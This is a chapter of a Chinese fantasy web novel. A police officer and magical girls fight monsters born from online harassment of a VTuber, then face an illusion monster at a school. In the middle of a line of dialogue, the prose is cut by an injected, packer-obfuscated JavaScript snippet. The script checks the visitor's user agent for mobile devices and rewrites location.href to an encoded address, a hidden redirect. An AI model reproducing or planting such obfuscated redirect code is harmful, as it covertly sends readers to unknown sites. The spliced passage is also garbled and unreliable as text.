“我们都知道的,之前那个小林义树,在事件结束后被大量的人声讨和关注,很多人都觉得他是罪魁祸首,可以说不知情的大部分人都觉得怪人是他操控去杀人的,现在在网上的风向就是这样。而这个虚拟主播只是说了一句,她觉得这件事和小林义树没关系,就被大炎上了。” 黑木都有点懵了,“就因为这个?” “就因为这个,我觉得这多少有些过分了,明明他们也并非知情人,只是被别人带着节奏就骂这个骂那个,还搞出了个炎上事件,现在这个虚拟主播已经没有再直播了,本身的各种活动也都暂停了。” “这确实是过分了。” “还有更过分的,由于被人翻出小林义树曾经在社交媒体上发过喜欢千羽麦直播的记录,现在网上的节奏甚至变成了,千羽麦和小林义树秘密恋爱,所以才会在直播中维护男朋友,狂热的粉丝们在她的直播间里大量刷屏,将直播间搅得乱七八糟。” “他们真的假的?” “真的,这就是现实,尽管这种说法本身是假的。要我说,他们说的很多话都完全没有逻辑,可是他们就是要找一个可以欺负的对象,为在怪人的影响下什么都做不到的自己找到些存在感,仿佛自己有多么厉害,但实际上只是个趴在别人身上吸血的蚊子。” “同感。”风夏无奈地摊摊手,“有些人真的已经是在撒泼打滚了,只是在自顾自地给别人扣帽子,再加上些浮夸的阴阳怪气,结果没说一句有价值的话,也完全理解不了正常人的话在表达什么,仿佛是吵着要吃奶的无法理解对方思想的婴儿。而对于当事人来说,这种人就完全像是沾在身上甩不掉的鼻涕虫,越是与之对抗就越是让自己手上变得恶心。” 晴子用力点点头,“更别说千羽麦实际上是一个刚入行的新人,恐怕还没有应对过这类情况的经验吧?” 四人相互对视,然后黑木立即安排道:“我去找他们公司交涉她的住处,英梨先前往品川区待命,看看能不能发现蛛丝马迹,你们两个回警视厅找人帮忙调查风夏刚才讲的几个热点人物事件。” 没有敢耽搁,四人立即展开行动,就在晴子与风夏打上回警视厅的车还没过多久,一辆消防车就与他们的计程车擦肩而过了。 一回到警局,警察们又是紧张地忙碌着,空气一下子就令人感到有些窒息,她们直接去找了相关部门,将黑木的话转达之后,硬是分出了几路警力出去,这让本就不富裕的警力再次面临危机。 另一边黑木马不停蹄地赶到虚拟主播公司总部楼下,向安保人员表明身份后走了进去。 “您好,请问负责人在这里吗?”黑木拦下了一个路过的女人问道。 女人上下大量了他一下,总觉得他有些眼熟,“您是……” 黑木便拿出了自己的警察证,“我是警察,我希望找你们目前最高的管理人员谈话。” 女人一下子反应了过来,“啊,你是那个黑木警官,请稍等一下,我去找一下。” 女人快步跑开,不用想也知道,肯定是自己公司内部的谁和怪人沾上了关系,一想起后辈的千羽麦还在家修养,她立即就觉得应该是这样没错了。 公司内,有人已经认出了黑木,然后如病毒般传开了消息,偷偷观察他的人不计其数,大量关于千羽麦的猜测也随之而来。能在这里一直作为虚拟主播活动的人几乎都反应极快,几乎所有人都很快把炎上事件和房屋着火联系在了一起。同期的某个成员立即联系了千羽麦告知此事,每个人都在好奇事件的真相是什么。 不久后,正当晴子和风夏在看着手机地图的时候,黑木的电话突然打了过来。晴子接上电话后,还没来得及说话,黑木有些紧张的声音便传了过来,“错了!千羽麦并不住在品川区,而是在江户川区!” “怎么会这样……” “总之,我还是先去拜访一下千羽麦,有事随时联络。” 黑木很快就挂掉了电话,而警视厅中对于其他人的调查还没有消息。 品川区内,英梨才到了不久,感觉根本没有任何异样。她找了个没人的地方唤出封魔装并施术,也同样没有任何反馈。 “真是奇了怪了,还真就抓不到任何踪迹吗?” 重新回到常服,她打开手机,查看哪里是人集中居住的地方,打算挨个排查。 半小时后,警视厅排出的警察们终于都传回了消息,巧合的是,他们虽然有一个人住在品川区,可是实际上现在并没有一个人在品川区内。在此期间,英梨能做的事相当有限,只查了四分之一左右的区域,也是一无所获。 一栋一户建的门前,一个年轻的女孩打开了门,门链小心地锁着,只是在门缝里向外探出目光,“请问……” “我是警察。”黑木从门缝处展示了自己的证件。 当黑木真士这个名字出现在女孩的眼前,她便明白了到底是怎么一回事。毕竟已经提前有人给她打了招呼,不过即便如此,她还是拿出手机,核对了一下黑木本人与照片的长相才打开了门。 哪怕在网络上是被很多人捧着的名人,在现实中的千羽麦也仍然是一个看见找上门的警察就会紧张的普通女孩罢了。她拘谨地坐下,然后又站起身打算去帮客人倒一杯水,结果一下将小脚趾磕到了桌子腿上,导致黑木赶紧站起来询问她有没有事。 黑木感觉这就像是一只受惊的小鸟,稍微一点风声就会令她害怕,可是从位置判断上来看,怪人产生的地方离这里非常远,换句话说哪怕千羽麦此刻表现成了这个样子,也很可能与怪人比没有关系。 当两人终于可以坐下来交谈,黑木缓缓咽下一口水道:“你知道的,我这次来是为了怪人的事。” 千羽麦连忙道:“怪人真的不是我弄出来的!我真的不知道是怎么回事!” “我明白,不用怕,我都知道的。只是,这个怪人极其特殊,可能是和网络有关系的,所以我们在挨个排查有可能的人。” 千羽麦一怔,刚才还在说和自己没关系的她此时却突然变得有些没底,她缓缓拿出手机,打开了一个页面,这正是她平时使用的社交平台。 看了一会儿,她有些胆怯地轻声道:“确实有很多人现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266097|166574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在进行了很多不好的发言,无论是在评论还是私信中,可是我并不知道这和怪人有什么关系。” “能给我看一看吗?” “好。” 接过手机,黑木慢慢翻动着评论,“杀人犯的女友”、“靠勾引来博得关注的垃圾”、“为什么还不去死”、“不知道和多少人上了”、“不过是公司的底层”、“说不定在成为虚拟主播之前就已经是个生活混乱的……” “虽然身为警察的我并不适合说这样的话,不,或许正因为我是警察才会有更加强烈的感觉,我时常觉得这个社会实在是令人感到反胃,犯罪行为层出不穷,发言做事不顾后果,我为这个社会感到遗憾。” “嗯……” 黑木将手机还回去,“但这也正是我这样的人存在的意义,我所需要的就是你所拥有的判断和想法,或许就能找到些许蛛丝马迹。” 千羽麦看着种种评论,负面的评论铺天盖地,即便有一些正面的替她说话的评论,也会很快被淹没在负面的海洋之中。 “话说回来。”她突然停下了滑动屏幕的手指,抬起头看向黑木,“真的什么想法都可以吗?” “当然。” 她快速翻动评论,然后将手机再次放在黑木的面前,“实际上您也应该知道,我们是不会在评论之中轻易发言的,这就导致了当自己哪怕受到不公正评价的时候也只能看着罢了,所以我确实感到非常开心,有人一直在帮我说话。” 黑木看着一条条评论,虽然逐渐理解了千羽麦想要表达的意思,在这些评论之中,有五个人的名字反复出现着,几乎在应对着每一个骂人的评论并予以反击,直到最新的评论都在不断回复着。 “这还真是……虽然说不上这样的行为是否合适,不过倒也确实是一种慰藉。不过倒是有些奇怪呢,他们是一个组织吗?” “为什么这么说?” “他们在回复的时候几乎没有两个以上的人回复同一条评论的情况,哪怕出现过也并非另起一个头而是帮着其中的某个人在后虚的评论中说话,所以说这群人实际上是有组织地聚集在一起吗?” 这种可能性让黑木陷入沉思,他不断翻看着不同的评论,观察着其中每个人的发言,这越发让他觉得这五个人应该是特意组织的团体。而且这五个人的战斗力未免也太强了,或者说,其余的那些恶言相向的人的战斗力未免有些太弱了,经常还未分出胜负,那些人就不再说话了。嗯? 黑木突然紧张了起来,一个大胆的构想突然出现在了他的脑海之中,“难道说那些人……已经死了?” 警视厅中,某个警察突然接到一个电话,挂掉之后,便操作起了电脑来。旁边的警察凑过去道:“怎么了,又出什么状况了吗?” “倒也不是,只是黑木先生让我查一下某五个人的IP地址。” “啊,这不是最近那个成为话题的虚拟主播吗?” “你对此有所了解吗?当然,我对这方面还是挺熟悉的哦。” 两个人一边聊着一边操作着,直到某一刻结果出来的时候,两个人不约而同对视了一下,那个接到黑木电话的警察立即将电话拨了回去。 品川区内,英梨停下了脚步,一通电话和一个定位出现在了她的手机上。警视厅中,晴子和风夏立即乘警察的便车开始赶去品川区。 屋内,一个男人拉着窗帘,昏暗的房间里面只有电脑屏幕亮着,烟头和泡面的残骸到处都是,在白色背心上溅上的油点子并没有受到关注。男人用力地敲着键盘,随后又重重锤了一下桌子,“可恶!”接着,他再一次点开了一条新的评论,又开始了新一轮的打字。 正在这时,即便是全身心投入进网络对喷的他也感受到了别样的气息,那是一种令人十分不安的感受,仿佛有一股压力突然压倒了他的身上,慢慢转头看向窗户,有一个黑色的影子不知何时出现在了那里。他吓得一个激灵,一把抓起旁边的一把短刀,用它慢慢地将窗帘掀开一个口子。 “就是你啊,真是令人吃惊,你居然走到了这个地步啊。”英梨看着眼前的男人,心中直叹可悲,如果是自己不认识的人也就罢了,偏偏这个人她还真的认识。 男人看着眼前穿着奇异服装的少女,一时间感到有些错愕,“你是……” “唉,单方面认识也算是认识不是吗?”英梨一拳打碎了窗户并跳了进来,正当男人惊恐地一下从椅子上站起来并连退数步的时候,已经破碎的玻璃和弯折的窗框却又奇迹般地复原,“虽然这是你第一次见到我,但我还是不得不说,又见面了,小林义树先生。” 不久之后,晴子和风夏乘坐的车也停到了楼下,当两人上楼敲门后,开门的是英梨。走入卧室,当看见那人是小林义树的时候,两个女生都是一惊,紧随其后的是晴子由衷的悲伤。 小林弯着腰抱着头,他不敢相信自己做了什么,之前听到的那一串对现状的解释扎扎实实地刺激着他的内心。 英梨叹了口气,挥手为自己布置了一面蓝色的盾牌,“是时候了,没有给你消沉的时间了,在‘家’中的条件已经满足,人也都到齐了,是时候配合一下我们的工作了。” 说完,她打开手机,找到千羽麦的帖子并在评论区打下了一行字,“真是太恶心了”,然后看向小林,“到你了,就像我们说好的那样。” 小林缓缓抬起头,颤抖着手点下刷新,那一条评论映入眼帘的时候,他突然明白了自己现在的状态。他眼睛直勾勾地看着屏幕将手放在键盘上打出几个字,“去死吧。” 下一刻,一团火焰突然出现在了房间之中并化为了一个女性的姿态,虽然不明五官,但是大概能看出来那是火焰组成的名为千羽麦的虚拟形象。那东西张开双臂,就像一团烈火抱了下来,英梨一下子睁大了眼睛直呼“不好!”,因为那火焰的目标并不是自己,而是小林! 沉重的碰撞声裹挟着玻璃杯破碎的声音,变身的晴子扑带着小林并承受了桌子的撞击。大蛇一口咬住火焰冲出窗外,连墙壁都被撞碎,英梨紧随其后来到街上,这并没有引起众人的注意,甚至一个人都看不到,此时此刻这一切都在她的结界之内。 本来几近崩溃的小林看见晴子后吓得惊叫了起来,而晴子并没有过多纠缠而是将小林托付给风夏后也一跃而出。这时候,小林才慢慢反应过来之前的事件中,被拍下的几个人中除了黑木已经全员到场了。他赶紧站起来看向外面,此时已是三方对峙的局面。 怪人想要回到电子设备,但是已经丧失数据转化能力的它只能用实体奔跑几步,刚好被晴子拦下。看着它满是火焰的身躯,晴子也不敢贸然下手,于是将剑握在了手里。 还没等她动手,英梨就开始了对怪人的全力压制,箭矢的力量似乎增强了不少,每一击都可以将怪人的身体打出一个大洞,只是这些大洞很快就被火焰重新填满。晴子还是第一次见到这种状态的怪人,即便已经是实体的状态,但是又没有实到那种地步。挥出剑进行攻击,果然也并不奏效,剑刃将怪人的身体拦腰斩断,可是火焰又自动复原,将怪人的身躯重新连接了起来。 怪人向晴子扑过去,晴子不敢硬接直接躲开,但是身后仅仅是接触到怪人身躯的石墙就已经被撞成了细小的碎块,只剩下在脑中回荡的爆炸声不绝于耳。看着地上的小石块,两人都倍感棘手。 另一边,千羽麦与黑木道别,满脸笑容的女生让黑木也有些欣慰,如果人人都是这样能能看得开的状态,那么怪人的产生说不定也会放缓一些吧。千羽麦关上门,脸上的笑容突然消失,她快步重新坐回电脑桌前,拿起手机用凶狠的双眼看着一条条评论,一边给小林的账号们加油打气,一边诅咒着那些喷子快点死绝。 战场这边,两人一边躲避着怪人的死亡拥抱,一边思索着战胜它的办法。英梨觉得在物理层面上很难对它造成伤害,毕竟不管怎么样去打,它的复原都如此地简单,仿佛是一个空壳,只要稍加调整就又是全新的状态。她目光一凝,三条白蛇从掌心窜出,“三蛇封尽!” 如果物理层面没有有效的打击,那么就直接使用封魔术试一试就好了。就在她这样想的时候,三条大蛇已经咬在了怪人身上。双方的力量一下子僵持住了,大蛇并没有办法将其封印,但是怪人的火焰也冲不出来。由于大蛇是从正面咬住了怪人,晴子一个闪身到其背后,顷刻间斩出数剑。 怪人的恢复速度明显变慢,但还是顺利地恢复成了原样,随即撑开了封印。不过晴子却注意到了一个一闪而过的东西,毕竟是完全不同的颜色,以她现在的反应能力一定不会看错。 “刚才那个是……” 她想要再一次斩开怪人的身体,但后者明显开始相当戒备。英梨也再一次使用封魔之术,可是怪人开始东躲西藏,速度陡然加快,用于封印的大蛇状态的灵力竟被手刀斩断了七寸,令英梨骤然吐出一口鲜血。 而英梨也并非坐以待毙,一个巨大的蛇口从地下猛地冲出,一口咬将怪人吞了进去,尽管蛇头很快就崩溃爆开,但是她的眼神一下子发生了变化。 “我知道了!这东西的本体在内部移动,我们必须击破它的本体才行!” 原来这是一个攻击与探查并存的法术,原本浑然一体的能量构成,在蛇口内一下子有了微妙的变化,就是那微妙地高出其他部分细微能量的状态,令英梨确认了其位置与形状并当即进行了标记。晴子听此,深吸一口气,将精神尽可能集中到了极致,突然,就像是感受到了什么一般,以自己最快的速度挥动起了剑,只是几秒就将怪人的身体斩成了二十八块。 这一招轻易难使出来,说实话,晴子并不觉得自己能做到这件事,可是偏偏就做到了。她直到现在都不知道这一招发动所需要的条件,但是每次这种时候都会在心里明白自己能做到这件事。 “逮到了!” 英梨眼前一亮,在怪人火焰的躯体被斩碎之后,一个小人无从遁形出现在了空中,两人都看不出这是谁,但如果黑木在场,他一定明白这正是千羽麦虚拟形象的中之人,也就是名为渡边由乃的女孩的样子。 18. 玩笑 英梨瞬间伸出袖剑,一个转体精准地将怪人的脖子斩下,而晴子则是自下而上补了一剑,两人用十字将怪人的本体再一次斩为四块,最终化为了虚无。 胜利并没有让晴子感受到喜悦,老实说这场战斗给人的感觉并不困难,而不困难的原因是自己用出了对自己而言不可控的招数。一股未知的担忧萦绕在她的心头,她轻轻抚摸着自己手中的剑,眼光从剑柄开始一直看至剑尖。 “怎么了?”英梨走过来也看向她的剑。 晴子摇了摇头,“没什么,只是刚才的那一招并非是靠我的力量所施展的,我明白自己的水平,我不具备那样的力量,我莫名地感到有些危险。” 英梨也不知道到底该说什么好,她只能轻轻握住晴子握剑的手,“别担心,有我们在你身边,不管发生什么状况,我们都是并肩前行的战友。” 晴子笑了,哪怕仅仅是这样的一句话,她也感受到了些许的慰藉,或许她所需要的也正是这么一句话而已,她明白其中的感情与分量。 屋中,小林缓缓跪倒在地下,他是第一次亲眼看见网上所说的所谓“战斗”的真面目,他认出了那怪人的外表与本体是什么。渡边由乃并非是一个路人女孩就被甄选为虚拟形象千羽麦的中之人,她曾经就是某事务所小有名气的偶像,只是事务所倒闭解散之后才沉寂到了最近。两人本就是朋友关系,说到底,小林曾经和现在都在推她。 他突然就明白了过来,怪人真的是从人的身上产生,而自己也并非是自己以为的那样真的与怪人毫无关系。 “也就是说,之前的怪人确实是因为我的某些原因而产生的吗?” 他说完这句话,墙壁和窗户重新回到了之前完整的样子,英梨与晴子此刻已经站在了他的面前。 英梨看向还亮着的电脑屏幕道:“你倒也不必如此自责,虽然确实和你有直接的关系,但是我们向来对这种情况以‘人之常情’定论,如果真的有遭遇各种事情都毫无感觉的人存在,这人恐怕不是圣人就是疯子吧。” “只是这两次的怪人让人感觉……” 晴子刚要说什么,英梨做手势示意她停下来,随后大家联系了黑木讲述了情况,剩下的事就交给警察来处理了。走之前,晴子又看了一眼六神无主的小林,轻叹一声无奈地走出了房门。 坐车回到了家,英梨问道:“之前你想说什么?” 憋了一路的晴子连忙开口,“这两次的怪人就像是有自主的意识一样。” “果然呢,你也有这样的感觉。但是我能感觉到,这应该并非是怪人的意识,而是人的意识。” “真的是这样吗?” 英梨回忆起了之前的场景,“舞台剧事件中,那个怪人真的很‘智能’,这次的炎上事件也能感觉到怪人并非像之前那样几乎是在无差别地攻击,而是很有规矩地攻击着特定的人。” “是啊,那这样……” “这样也并不代表着怪人有自己的意识。”英梨坐下来,用手捂住了脸,用指尖轻轻揉了揉眼睛,“我见过这种类型的怪人,怎么说呢……” 她停顿了一下,思绪一下子回到了从前,“那时候我还是个六岁的孩子,有一段时间真的太惨了,不知道多少人死于这样的怪人之手。当时族里出了一对很厉害的夫妇,只能靠他们才有力量反制,剩下的人完全不是对手,就我们最近碰见的这个级别的怪人,和那些家伙比起来简直比不了。” 晴子作为与其正面交手过的人对此深有体会,“竟能到这个地步吗?即便是我们碰见的、造成了如此大灾害的家伙,都不是那些怪人的对手吗?” “完全不是。” “那我们……未来会碰见这样的家伙吗?” 英梨看了一眼晴子,两人只进行了简单的眼神交换,连一句话都不用说就使得晴子心里猛地一沉,“原来如此。” “往好处想,我们都变强了不是吗?”英梨安慰道,“在遇到你们之前,其实我比现在弱很多,虽然我曾有过短暂地实力快速增长,但是和你们相处的时间才真正让我变强了很多,虽然我也不知道为什么,但是我能感受到自己的力量在不断成长。我曾与游刃有余这个词毫无关系,但是最近感觉我对自己的力量使用越发地得心应手了。” 正说着,晴子的电话响了起来,黑木似乎是已经到达了现场,一边问着晴子一边问着小林,将情况做着记录。 没过多长时间,警方发出公告,这起事件已经被解决,让大家不要再害怕回家。几乎在同一时间,所有想要做大新闻的人都疯狂地寻找着可能成为素材的照片和视频。不得不说现在的眼睛实在是太多了,终于还是有人发出了一张黑木、风夏、晴子三人从车上下来时的照片。 一次是巧合,不会次次都是巧合,风夏和晴子一下子闯入了公众的视野,有些人更像是闻见了肉香的野狗一样就想冲出去弄个明白。 第二天,当早上去教室的时候,两人瞬间就被同学们围了个结实。所有同学你一言我一语,不断提着自己的问题。风夏还能微笑着应对众人,但是晴子很快就只觉得嘈杂异常,几乎脑袋都要炸了。她捂住了耳朵,将自己的头埋在自己的臂弯里。 “晴子!”风夏一把拉起她的胳膊,硬是从人堆里挤出去了。两人一路狂奔到天台。 可是学生们紧随其后就都上了天台,两人步步后退,风夏将晴子护在身后,就这样一步一步地,两人身边很快就只剩一圈空地了,而后面就是围在天台上的铁网了。 恰在此时,突然传来了玻璃破碎的声音和令人心悸的尖叫,接着就是接连的窗户破碎的声音,和什么东西猛地落地的声音,听起来就好像是课桌之类的东西被扔出了窗户一样。 学生们都僵在了原地,晴子向着那个方向看了一眼,正看见一个浑身是血的男的正挣扎着翻着窗户,仿佛三楼的高度都要比待在这里个。更安全。可紧接着就有一个胳膊伸了出来,一把抓住他的头发,将他的脑袋在窗框上狠狠地撞了一下,再将其拽回了室内。 一同看向那边的学生们都吓得尖叫起来,所有人乱做了一团,有的立即逃跑,有的则是吓得不敢动,毕竟那分明就是怪人的手。 “怎么办!”这是出现在晴子脑海里的最直接的话。不可能不去战斗,可是就当着这么多人的面变身吗?那样的话恐怕麻烦就要接踵而至了。 这时,她和人群中的某个男生对视了,这一瞬间,她就明白了那个男生正紧紧盯着自己。男生并没有装作是别的事,就这么光明正大地看着这个方向,这一下子就让她顿觉难上加难。 留在这也不是办法,正巧风夏也脱口而出了一句“我们走”,两人便一同向外跑去。男生见两人行动,立马动身跟在了后面。正如他所料,两人并没有在逃命,而是向着事发地点的方向移动。 走廊里都是嘈杂的人,也挤得很难移动,不过越是靠近那边人就越少。两人先挤下了楼,又好不容易挤过了人群,但是当学生们都从眼前消失后,晴子看向风夏的方向,却发现风夏也不见了。 “风夏?” …… “变身!” 晴子缓缓挪着步子,一个教室一个教室看过去,所有房间都是空无一人,每随着她走一步,空间就暗了一分,当她突然反应过来的时候,明明是早晨的朝阳已经变为了黑夜前一般的状态,亦或是月光比较亮时的夜晚。 静,这里最直接的感觉就是静,只能听见自己的脚步声,还有莫名的水滴声。 突然,一个头发遮住脸的白衣女孩的身影瞬间在她的面前闪现,让她一下子被吓了一跳,紧接着,旁边一个教室的灯猛地亮起。若她是一个普通人,一定是不敢踏入的,但是仗着自己是变身的状态,她还是踏入了教室。 教室看着没有什么不一样的地方,课桌摆放得很整齐,学生们的东西也都好好地放在那里。她警惕地看着各个角落,又猛地转身看向外面,阴暗的走廊还是没什么变化。过了几秒,教室的讲台上发出很大的响声,她整个人一震,看向那个地方,发现板擦不知道为什么掉在了讲台。随后,在板擦的下面渗出血液,不断扩大,渐渐从讲台上流向地面。 她觉得这里太过邪门,要不然还是退回走廊。正当她这么想着并摸索着向门口退去的时候,总觉得自己的腿碰到了什么,一转头,就看见那个白衣小女孩的胳膊上占满鲜血,同时发出瘆人的笑声。 她下意识地后退两步,并做出了防御的架势,也就是这个时候,她的眼睛看到自己的手臂后,重新意识到了自己正处于变身,思想也被一下子拉了回来,剑瞬间出现在了她的手上。她迅速摆好架势,就要一剑砍上去的时候…… “整蛊大成功!” 女孩将头发拨开,露出灿烂的笑容,门外也闯进来了几个男人,拿着各种器械,还举着整蛊成功的牌子。他们自顾自地欢呼,还面对摄影机做着节目。 晴子一下子不知道该如何应对,她感觉相当不妙,自己是这样的状态,就这么被人看到并录了下来,这要是传出去了,怕不是会有大麻烦。可是门被人堵着,要出去就只有撞出去了。 她不知如何是好之际,一个声音突然传来,“还真是巧了。” 一瞬间,所有的画面就像是玻璃一样破碎,整个环境突然亮起。晴子发现自己正身处走廊,身体被类似树枝一般的东西锁死,也完全没有处在变身的状态之中。英梨正和怪人打斗,身边还有不少被控制起来的学生,有半数已经被掏去心脏。 晴子立即变了身,但是怎么都无法挣开束缚,英梨的余光瞟到了这一点,趁着短暂击退怪人的间隙,她的袖剑发出蓝光,一剑斩断了晴子右臂的束缚。有了好的发力点,晴子一下子就顺利地挣脱开来,提剑就加入了战斗。 怪人浑身上下给人一种奇怪的感觉,明明看起来就是一般的怪人,但是又带着些植物的质感,最重要的是它的脸总给人一种看不清楚的感觉。那是一种朦胧而混沌的感觉,让人怀疑那里是否真的存在着一张脸,就连英梨都没有任何想要攻击它面门的想法。 两人在狭窄的地形并不好发挥,只能交替出手,而怪人几乎没有露出任何破绽。就当晴子的一剑刺过去的时候,眼前突然变为了樱花树下,一剑将一团花瓣刺得飞散。她看向樱花树,又看了看周围,这完全就是陌生的地方。 不过紧接着,周围的景象再次破碎,英梨快速地呼出一口气,表情严肃,眼睛死死盯着怪人的方向,“没事吧?” “没事。” “幻术对你来说还是很麻烦的,就连我也不能直接挡住,好在这并非可以连续释放的能力。” 晴子一遍接力着攻击,一边询问道:“就没有什么办法了吗?” “很遗憾,并没有办法,精神系的攻击我连听都没听说过,我也只是因为修行很久所以有足够的抵抗能力和反应速度罢了。” 话音刚落,怪人的手上伸出藤蔓,一下子捆住了英梨的脖子,晴子见状连忙帮忙将其一剑斩断,可是这藤蔓却一波接着一波,两人不管如何去抵挡都没有作用,攻击还是一波又一波地袭来,双方的中间都是武器与藤蔓碰撞出的火花,如果是普通材质的兵器,恐怕连斩断都是不可能完成的。 两人连连后退,由于走廊上还有活着的学生,两人也没办法轻易做出太激烈的招式。不过就在连续接招的过程中,晴子的眼睛也在观察着对方的出招方式,大约十招左右,她感觉到对方的招式似乎有着相对固定的路数。 她看准机会,一个闪身靠近对方砍岀一剑,可是怪人反而一改常态直接一个大后跳拉开了距离,随后,它使用手刀挥出了木刺。晴子被这突如其来的变招打了个猝不及防,可是还是用剑很好地挡住了这些射来的木刺。 她瞥了一眼自己的剑,一转剑柄将其掷了过去。怪人偏开了身体但是并没有完全躲过,不过这次没有火光,明明打中了怪人的身体,但听到的是什么东西破碎的声音,而不是如同藤蔓一般看见火星。 “晴子!” 这个声音并非来自英梨,而是由风夏发出的呼喊。她根本没有陷入任何幻境,但是却对现状干着急,毕竟在她的眼里,晴子正和怪人一起攻击着英梨。由于晴子和怪人站得太近,她完全不敢靠近那个地方,只能依照英梨的指示不断呼唤着晴子的名字。 晴子并非被怪人束缚,而是不断被英梨控制着动作。英梨感觉相当吃力,现在的晴子太强了,是朴实无华的强,虽说也掌握了不少技巧,但根本没有自己这么多的招式,也没有那么多的战斗经验,可是却在力量上有着单纯的最直接的强大。不管怎么样,那都是自己的友军,总不能真的去像面对敌人一样攻击她,这就更让制止她变得困难加倍。 飞到远处的剑变为黑烟,然后再次出现在了晴子的手上,英梨胆战心惊,那一剑她是万万不敢接的,自己的盾就只是擦到了剑都直接被击碎,更不用说结实地吃到一击会是多么惨的事情。但是话又说回来,总觉得晴子本可以更强的,却表现出的不是那么有压迫力。 英梨用眼睛瞟了一眼后面的风夏,风夏也发现了她的眼神,随后她快速蓄力拉开弓,突然爆发出和刚才完全不是一个级别的力量,对着怪人就是三箭。晴子发现有三根木刺相继向着“英梨”袭来,然后被挡下两支,一支射进了“英梨”的胸口。她吓了一跳,连忙挡在了“英梨”的面前,而就在此刻,英梨和风夏同时冲向那个方向。 风夏的脑海里还记得英梨刚到现场时说的话,“这恐怕是精神类的怪人,作用于人精神的力量,就算是你也无法破除被害者身上的枷锁,所以要反过来去破坏它的起点,当这股力量还没有化作幻境之前掐住它,这件事只有你可以做到,连我也不行。” 她紧张地脸上都在发热,咬紧牙关冲到了怪人的背后,就在怪人回头看向她的那一刹那,她的内心还是不可避免地散发出恐惧。 一拳,结结实实地一拳。风夏用吼声给自己鼓劲,一拳就打在了怪人的脸上,原本看起来十分模糊的怪人显露出了它的真面目,那正是名为江口原梦的红女演员的脸。这一刻,所有被幻境影响的人都破除了幻境,只是几乎所有人都陷入了昏迷或是疯狂。 “有破绽!” 英梨的眼中,怪人的力量就像是由一个光滑到无从下手的表面,突然变为了被爆炸炸到的山体一样。而晴子则是被突如其来的再次画面转换弄得无可适从,而就当她陷入了“到底是真是假”的一瞬间的犹豫的时候,英梨就已经绕过了她。同时,一条大蛇从怪人的身上咬过,英梨的剑也刺入了怪人的身体。 晴子转过身,发现一直在自己身边的那个队友居然才是怪人本身,心里骤然一沉,一瞬间就失去了很多的力气。 英梨看着眼前的怪人,突然又不好的预感,以至于并不敢有哪怕一瞬间断开封印的能量,“晴子,不对劲,补一刀。” 晴子听到后立马举起剑,可就在这时,怪人居然流下了眼泪!晴子不可置信地看着这一幕,仿佛那只是个拥有特殊外表的真实的人。 “不要犹豫!” 英梨的声音突然点醒了晴子,而她自身突然发现怪人身体里的力量正在渐渐恢复。晴子一剑刺入了怪人的身躯,当熟悉的皲裂出现在了怪人的体表,英梨才终于松了一口气。 那些树枝和藤蔓之类的东西全部消失殆尽,学生们都倒在了地上。风夏赶紧去帮助那些学生,而英梨发现晴子站在原地脸色并不好看。 她本打算去帮忙,但又重新走回了晴子的身边柔声道:“怎么了?” “我觉得,我有点太差劲了。” “那不是你的原因,那怪人的力量你本就抗衡不了。” 晴子摇摇头,“不只是这次了,最近我越发觉得我在战斗中起到的作用越来越小,直到这一次,我甚至都变成了站在敌人身边,我……” “没关系的,晴子。”英梨捧起了她的脸,让其和自己对视,“我们一族一直以来都有一个理念,那就是没有人能够做到一切。我们会全力以赴地帮助同伴,也会非常渴望同伴的帮助,一切都以战胜敌人为目的,不管是哪方的作用更大我们都会感到高兴,因为每个人都有擅长和不擅长面对的敌人。” 晴子的眼睛又看向了下面,“可我越来越没用了。” “没事的。”英梨转身打开了走廊的窗户,舒服的小风窜了进来,像是要吹散死气沉沉的空气,“我曾经也太过弱小,我跟着父母去战斗,跟着别的同龄人去战斗,我时常都帮不上忙。但是那又有什么关系呢?每一场战斗都是经验,每一场战斗都成就了现在的我,人总会变强的。如果只是被一个瓶颈就挡住了前路的话,那未免太可惜了。” 她一把拉住晴子,将其也带到了窗边。风吹在晴子的脸上,阳光暖洋洋地铺在她的身上,“看,这阳光照耀的地方,都是我们守护着的土地。” 晴子也慢慢找回了笑容,两人相视而笑,英梨感叹道:“每当这个时候,我都会感觉到我们真是太帅了,我们正是这里的英雄不是吗?” “嗯。” 风夏听着两人的谈话,也欣慰地笑了,她将一个学生放好之后,又去帮助下一个时,她发现这正是那个一开始就跟着自己的男生。此刻的他已经陷入昏迷,不再有任何紧盯着人的眼神,表情看起来很是痛苦。 她用力把他的身体正过来,让他能够舒展着平躺在地上,而就在此时,男生缓缓睁开了眼睛。 “真是令人惊讶,居然有醒得这么早的人。”英梨看向那边,哪怕和晴子交谈,也不会令她忽略每个人的状态。 男生艰难地爬起来让上半身得以靠墙,他扫了一眼在场的人,终于还是问出了那句话,“你们到底是什么人?” “学生?”英梨无奈道,“本来我是才转学过来的,居然就碰见了这种事,这个学校到底能不能行啊?” “你是转校生?”男生的身上并没有任何外伤,但他却仍能感受到身上有些地方在痛。 “嗯嗯,转校生转校生,我劝你还是少说两句话比较好,有问问题的力气的话不如去帮帮别人,如果没有力气的话,最好还是好好休息休息。” 这时,英梨和晴子听见了脚步声,两人同时看向那个方向,发现有一个人从某个教室里走出来,即便两人的心中都大概有答案了,但江口原梦的身姿出现的那一刻,两人通过她的表情就知道,她一定是旁观了全程的。 江口原梦六神无主,她看着这一片狼藉,心里越发不是滋味。 英梨立即变得痴迷起来,“这不是江口原梦小姐吗?我是你的大粉丝!”那神态和动作,完完全全就是一个真正的粉丝。 晴子见状也凑了过去,“我也是我也是,江口小姐怎么在这里呢,我们带你去别的地方吧!” 江口并未拒绝而是点点头,直接跟着两人就离开了这里。学校已经警戒,除了陷入幻境的学生之外,剩下的都已经撤离到了校外。三人换了个楼层之后,江口慢慢停下了脚步,而英梨和晴子也转身面对她。 “事已至此,可以问问到底发生了什么吗?” 听到晴子的询问,江口也无法再逃避了,便娓娓道来…… “诶?你是说你怀疑这怪人与自己有关吗?”江口对着电话难以置信地说。 渡边由乃肯定地说:“没 